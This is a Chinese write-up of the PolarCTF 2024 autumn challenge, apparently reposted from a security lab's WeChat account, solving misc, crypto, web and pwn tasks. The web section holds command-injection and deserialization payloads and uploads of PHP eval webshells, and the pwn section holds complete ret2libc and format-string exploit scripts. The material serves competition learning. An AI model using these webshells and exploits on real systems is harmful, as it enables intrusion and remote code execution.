PolarCTF2024秋季个人挑战赛 WirteUp

admin 2024年9月23日01:08:22评论146 views字数 5448阅读18分9秒阅读模式

赛搏思安全实验室

SAS LAB

PolarCTF2024秋季个人挑战赛 WirteUp

MISC & WEB & CRYPTO & PWN

PolarCTF2024秋季个人挑战赛 WirteUp

目录

本期篇幅较长,佬们按需食用

PolarCTF2024秋季个人挑战赛 WirteUp

MISC:

out         hide      文物追回    一道简单的流量

帮bllbl收到花束吧(赛后复现)

WEB:

bllbl_ser1   EZ_Host       序列一下       传马

投喂    笑傲上传       rapyiquan

CRYPTO:

不友好的 RSA     ao 神之力          动物世界

小 A 的 RSA          僧人和小妖的爱情

PWN:

find            chuan1

PolarCTF2024秋季个人挑战赛 WirteUp

MISC

out         hide      文物追回    一道简单的流量

帮bllbl收到花束吧(赛后复现)

PolarCTF2024秋季个人挑战赛 WirteUp

1. out

打开压缩包,发现有加密

PolarCTF2024秋季个人挑战赛 WirteUp

**常见的四种做法:

1、暴力破解;

2、伪加密

3、根据各种提示

寻找密码和已知明文攻击等;

4、小文件CRC32爆破。

PolarCTF2024秋季个人挑战赛 WirteUp

先试试是不是伪加密先。

那么如何分辨是否为伪加密呢

各位请度娘,

 就不作过多赘述了。

随波逐流直接嗦

有时候也可以用360压缩进行修复,

注意哈不是让你们下载360安全卫士,

正常的方法是用010editor

打开找到目录文件标记后4bytes

PolarCTF2024秋季个人挑战赛 WirteUp

找到第二个504b的后四个字节,

将这个01改为00

PolarCTF2024秋季个人挑战赛 WirteUp

解压压缩包,看到一张图片,

各位养好一个良好的图片隐写习惯

防止漏过每一个hint

1、首先打开图片属性,查看有没有tip

2、用010editor在文件头尾打开

看看有没写一些比较特殊的字符串

3、可以使用一些一把梭工具

进行批量的排查

(比如binwalk和foremost,

在图片下隐写zip是一种很常见的情况)

PolarCTF2024秋季个人挑战赛 WirteUp

这题就有很明显的提示,

f5隐写(不知道的移步度娘)

PolarCTF2024秋季个人挑战赛 WirteUp

下载完工具后,

将图片移到

与工具的同一文件夹下,

打开该处的命令行

使用f5隐写导出的命令

java Extract out.jpg

PolarCTF2024秋季个人挑战赛 WirteUp

这时候就打开导出来的txt,拿下

PolarCTF2024秋季个人挑战赛 WirteUp

2.hide  

下载是一张图片请重复上面的步骤

PolarCTF2024秋季个人挑战赛 WirteUp

放到随波逐流,

直接告诉我们binwalk之后

有个flag.txt,那就直接提取zip

原本以为hide会是steghide隐写,

试了不行

发现打开不了,

试试伪加密,

也不行,

翻找了一圈都没发现有提示,

那只好开启我的爆破了,

使用ARPCHPR进行爆破

PolarCTF2024秋季个人挑战赛 WirteUp

成功爆破出压缩包密码,解压

PolarCTF2024秋季个人挑战赛 WirteUp

拿下

PolarCTF2024秋季个人挑战赛 WirteUp

3.文物追回

这里解压,打开直接就是

PolarCTF2024秋季个人挑战赛 WirteUp

先看看hint

PolarCTF2024秋季个人挑战赛 WirteUp

熟悉的图片隐写流程走一走

binwalk提取jpg,

发现里面有个zip,

打开发现需要密码

并且也不是伪加密

(通常这种还有其他文件的,

密码都会在其他文件上)

用audacity打开音频听了一下 

(顺便看看频谱图,没发现东西)

只听见了滋啦滋啦,

很刺耳的声音,

那凭经验猜测为RX-SSTV隐写,

这里记得下个

Virtual Audio Cable虚拟音频线

使声音

不是直接通过扬声器放出来,

而是传入电脑

PolarCTF2024秋季个人挑战赛 WirteUp
PolarCTF2024秋季个人挑战赛 WirteUp
PolarCTF2024秋季个人挑战赛 WirteUp

这就是zip的解压密码,解压后

PolarCTF2024秋季个人挑战赛 WirteUp

发现有apk和文物的图片,

根据hint需要用软件解出价格,

将apk发送到手机或者模拟器安装

PolarCTF2024秋季个人挑战赛 WirteUp

选择reveal 这个功能,

解密得到价格

PolarCTF2024秋季个人挑战赛 WirteUp
PolarCTF2024秋季个人挑战赛 WirteUp

在线md5加密,加上flag{}

4.一道简单的流量

PolarCTF2024秋季个人挑战赛 WirteUp

丢进佬的流量一把梭工具,

分离出来一个flag的文件,

直接用notepad打开。

**正常做法:binwalk或者foremost,

最好就是用wireshark导出。

这里用wireshark再分析一遍

用wireshark打开流量包进行分析,

一般我会先看http和tcp流,

这里面一般会存在

一些文件传输等操作,

可以先分析

在箭头处输入http过滤剩下http流

打开搜索,

设置分组字节流和选择字符串,

可以搜索一些关键字,

flag,password,key等

PolarCTF2024秋季个人挑战赛 WirteUp

这里搜索到了

PolarCTF2024秋季个人挑战赛 WirteUp

右键追踪http流

PolarCTF2024秋季个人挑战赛 WirteUp
PolarCTF2024秋季个人挑战赛 WirteUp

看见pk熟悉的zip包可以选择复制,

到一个新建文件内,

改后缀为zip就ok了,不作过多赘述

PolarCTF2024秋季个人挑战赛 WirteUp

回到一把梭,

这就是上面的压缩包文件

PolarCTF2024秋季个人挑战赛 WirteUp

改后缀为zip,解压得到flag.txt

PolarCTF2024秋季个人挑战赛 WirteUp

一眼base64隐写

(会有多行base64,

一长串的字母后面以=结尾),

这时候可以用脚本或者随波逐流,

也可以用我b神的

misc一把梭--puzzlesolver

(很好用的一个工具)

PolarCTF2024秋季个人挑战赛 WirteUp

拿到 flag

5.帮bllbl收到花束吧(赛后复现)

PolarCTF2024秋季个人挑战赛 WirteUp

打开hint看看

PolarCTF2024秋季个人挑战赛 WirteUp

jpg按熟悉的套路走了一遍,

最后foremost分离出个exe,

这时候我就怀疑是不是出错了

PolarCTF2024秋季个人挑战赛 WirteUp

还用了ida(逆向工具)

打开exe看了一轮

完全没想到

exe后面有一大段base64编码,

这一段为图片,

赛后才知道,

还是没有严格执行良好的习惯,

拉进010看文件开头

PolarCTF2024秋季个人挑战赛 WirteUp
PolarCTF2024秋季个人挑战赛 WirteUp

这里用puzzlesolver打开

复制这一长串的base64编码

打开在线Base64转图片 

(lddgo.net)网站,

直接复制转换成图片

PolarCTF2024秋季个人挑战赛 WirteUp

下载得到一张新的图片

随波逐流检测一下,发现有elf文件

PolarCTF2024秋季个人挑战赛 WirteUp

使用foremost和binwalk都没分离成功,

只好,

打开010手动分离

PolarCTF2024秋季个人挑战赛 WirteUp

新建十六进制文件保存

PolarCTF2024秋季个人挑战赛 WirteUp

由于elf为linux下的可执行文件

拖至kali

PolarCTF2024秋季个人挑战赛 WirteUp

一开始以为权限不够是没开root,

后来才发现没给执行权限

chmod 777 ./elf

然后执行 ./elf 就可以得到了

PolarCTF2024秋季个人挑战赛 WirteUp
PolarCTF2024秋季个人挑战赛 WirteUp

在线哈希值计算 (lddgo.net)

PolarCTF2024秋季个人挑战赛 WirteUp
PolarCTF2024秋季个人挑战赛 WirteUp

WEB

bllbl_ser1        EZ_Host       序列一下      传马

投喂    笑傲上传       rapyiquan

PolarCTF2024秋季个人挑战赛 WirteUp

1.bllbl_ser1

$bllnbnl = new Bllnbnl();

$bllnbnl->er = 'system("cat /f*");';

$bllbl = new Bllbl();

$$bllbl->qiang =$$bllnbnl;

echo serialize($bllbl);

echo serialize($bllbl);

2.EZ_Host  

?host=127.0.0.1;cat ./flag

3.序列一下

$polar = new Polar(); 
$polar->lt = 'system';
$polar->b = 'cat /flag';
echo serialize($polar);
unserialize($_POST['x']);
O:5:"Polar":3:{s:3:"url";s:12:"polarctf.com";s:2:"lt";s:6:"system";s:1:"b";s:9:"cat /flag";}O:5:"Polar":3:{s:3:"url";s:12:"polarctf.com";s:2:"lt";s:6:"system";s:1:"b";s:9:"cat /flag";}

4.传马

POST / HTTP/1.1
Host: 32a5975f-79e6-4733-acaa-97a1d7eb6088.www.polarctf.com:8090
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: 
Referer: http://32a5975f-79e6-4733-acaa-97a1d7eb6088.www.polarctf.com:8090/
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySEitNv1VJAPihGEh
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9
Origin: http://32a5975f-79e6-4733-acaa-97a1d7eb6088.www.polarctf.com:8090
Content-Length: 340
------WebKitFormBoundarySEitNv1VJAPihGEh
Content-Disposition: form-data; name="upload_file"; filename="2.php"
Content-Type: image/png
<?php eval($_POST['pwd']);?>
------WebKitFormBoundarySEitNv1VJAPihGEh
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundarySEitNv1VJAPihGEh--

5.投喂

class User{
    public $username = 'e1even';
    public $is_admin = 'true';
}
$a=new User();
echo serialize($a);

PolarCTF2024秋季个人挑战赛 WirteUp

PolarCTF2024秋季个人挑战赛 WirteUp

6.笑傲上传

多了个文件头查询,加上 gif89a

Content-Disposition: form-data; name="upload_file"; filename="a.gif"
Content-Type: image/gif
GIF89a
<?=eval($_REQUEST[a]);?>
PolarCTF2024秋季个人挑战赛 WirteUp

访问发现文件包含漏洞,直接打

PolarCTF2024秋季个人挑战赛 WirteUp

7.rapyiquan

?c[md=cat /flag.php
PolarCTF2024秋季个人挑战赛 WirteUp

CRYPTO

不友好的 RSA         ao 神之力          动物世界

小 A 的 RSA       僧人和小妖的爱情

PolarCTF2024秋季个人挑战赛 WirteUp

1.不友好的 RSA

题目直接给出,

将n分解下得到p,q,

**这里分解因数可以用工具 或者 factordb

就可以用风二西师傅的工具秒了

PolarCTF2024秋季个人挑战赛 WirteUp

2.ao 神之力 

放到随波逐流,

看到经过了 base91 解码

PolarCTF2024秋季个人挑战赛 WirteUp

放到 cyberchef

PolarCTF2024秋季个人挑战赛 WirteUp

直接点魔法棒,然后 md5 加密即可

3. 动物世界

与熊论道/熊曰加密 - 萌研社 - PcMoe!

(http://hi.pcmoe.net/)
PolarCTF2024秋季个人挑战赛 WirteUp
PolarCTF2024秋季个人挑战赛 WirteUp

4.小 A 的 RSA 

PolarCTF2024秋季个人挑战赛 WirteUp

基础的RSA题目,代数进工具解即可

题目说flag为原始消息的MD5值

将得到的m进行MD5得40008b9a5380fcacce3976bf7c08af5b

5.僧人和小妖的爱情

下载完发现是zip,

加上后缀后解压

PolarCTF2024秋季个人挑战赛 WirteUp

发现了佛曰和兽音

PolarCTF2024秋季个人挑战赛 WirteUp

打开随波逐流

PolarCTF2024秋季个人挑战赛 WirteUp

得到这个

yuanmengzhixing

兽音译者在线编码解码 - 兽音翻译咆哮体加密解密 (iiilab.com)

使用该网址

PolarCTF2024秋季个人挑战赛 WirteUp

得到qi_dong!!!

拼接加上flag{}

flag{yuanmengzhixingqi_dong!!!}

PolarCTF2024秋季个人挑战赛 WirteUp

PWN

find            chuan1

PolarCTF2024秋季个人挑战赛 WirteUp

1.find

一道朴实无华的32位ret2libc

PolarCTF2024秋季个人挑战赛 WirteUp

没加任何佐料

最基础的ret2libc

利用got表

把libc泄露出来利用公式算出system和binsh即可

PolarCTF2024秋季个人挑战赛 WirteUp
PolarCTF2024秋季个人挑战赛 WirteUp

注意要发送2再进行操作喔

exp:
from pwn import *
r=remote('120.46.59.242',2137)
#r=process('./find')
elf=ELF('./find')
padding=0x74
r.sendlineafter("Please enter what you need:",b'2')
star=0x08048653
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
payload1=b'a'*padding+p32(puts_plt)+p32(star)+p32(puts_got)
r.sendline(payload1)
r.recvline()
r.recvline()
puts_real=u32(r.recv(4))
print(hex(puts_real))
base=puts_real-0x5f150
system=base+0x3a950
binsh=base+0x15912b
r.sendlineafter("Please enter what you need:",b'2')
payload2=b'a'*padding+p32(system)+p32(0)+p32(binsh)
r.sendline(payload2)
r.interactive()

2.chuan1

本题开启了canary保护,

32位的拉进ida看看怎么个事

PolarCTF2024秋季个人挑战赛 WirteUp
PolarCTF2024秋季个人挑战赛 WirteUp

很经典的格式化字符串,

而且还有后门函数还没开pie

这不直接劫持got表

将printf改为system地址直接秒了

PolarCTF2024秋季个人挑战赛 WirteUp

偏移量为6

这里get shell之后直接cat flag喔

不然会直接退出程序

exp:

from pwn import *
r=remote('120.46.59.242',2123)
elf=ELF('./chuan1')
system=elf.plt['system']
printf=elf.got['printf']
payload=fmtstr_payload(6,{printf:system})
#r.recv()
r.sendline(payload)
r.interactive()
PolarCTF2024秋季个人挑战赛 WirteUp

by

Hundredsu

suuuu

sheSheep

Ruby

原文始发于微信公众号(赛搏思安全实验室):PolarCTF2024秋季个人挑战赛 WirteUp

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月23日01:08:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PolarCTF2024秋季个人挑战赛 WirteUphttp://cn-sec.com/archives/3195312.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息